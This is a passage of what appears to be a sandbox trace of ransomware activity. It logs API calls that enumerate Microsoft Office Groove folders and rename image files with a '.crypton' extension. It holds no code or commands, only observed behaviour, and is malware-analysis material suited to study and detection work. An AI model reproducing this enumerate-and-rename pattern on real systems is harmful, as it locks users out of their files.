Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.956] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.958] GetFileType (hFile=0x1a8) returned 0x1 [0101.962] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba224680, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba224680, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0101.985] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg.crypton"), dwFlags=0x2) returned 1 [0101.993] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba270940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba270940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0101.999] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg.crypton"), dwFlags=0x2) returned 1 [0102.004] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0102.008] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg.crypton"), dwFlags=0x2) returned 1 [0102.017] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg.crypton"), dwFlags=0x2) returned 1 [0102.023] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0102.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0102.031] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0102.038] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba2e2d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba2e2d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0102.043] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg.crypton"), dwFlags=0x2) returned 1 [0102.048] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp.crypton"), dwFlags=0x2) returned 1 [0102.053] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif.crypton"), dwFlags=0x2) returned 1 [0102.069] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif.crypton"), dwFlags=0x2) returned 1 [0102.076] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif.crypton"), dwFlags=0x2) returned 1 [0102.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif.crypton"), dwFlags=0x2) returned 1 [0102.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif.crypton"), dwFlags=0x2) returned 1 [0102.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif.crypton"), dwFlags=0x2) returned 1 [0102.141] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif.crypton"), dwFlags=0x2) returned 1 [0102.160] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif.crypton"), dwFlags=0x2) returned 1 [0102.163] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif.crypton"), dwFlags=0x2) returned 1 [0102.170] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif.crypton"), dwFlags=0x2) returned 1 [0102.188] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif.crypton"), dwFlags=0x2) returned 1 [0102.195] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif.crypton"), dwFlags=0x2) returned 1 [0102.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif.crypton"), dwFlags=0x2) returned 1 [0102.216] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif.crypton"), dwFlags=0x2) returned 1 [0102.227] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif.crypton"), dwFlags=0x2) returned 1 [0102.231] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif.crypton"), dwFlags=0x2) returned 1 [0102.233] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif.crypton"), dwFlags=0x2) returned 1 [0102.236] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif.crypton"), dwFlags=0x2) returned 1 [0102.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif.crypton"), dwFlags=0x2) returned 1 [0102.242] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif.crypton"), dwFlags=0x2) returned 1 [0102.244] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif.crypton"), dwFlags=0x2) returned 1 [0102.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif.crypton"), dwFlags=0x2) returned 1 [0102.251] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif.crypton"), dwFlags=0x2) returned 1 [0102.254] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif.crypton"), dwFlags=0x2) returned 1 [0102.261] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba4f80a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba4f80a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x37000433, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0102.271] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg.crypton"), dwFlags=0x2) returned 1 [0102.283] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg.crypton"), dwFlags=0x2) returned 1 [0102.293] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg.crypton"), dwFlags=0x2) returned 1 [0102.304] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg.crypton"), dwFlags=0x2) returned 1 [0102.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg.crypton"), dwFlags=0x2) returned 1 [0102.331] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg.crypton"), dwFlags=0x2) returned 1 [0102.348] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg.crypton"), dwFlags=0x2) returned 1 [0102.361] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg.crypton"), dwFlags=0x2) returned 1 [0102.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft 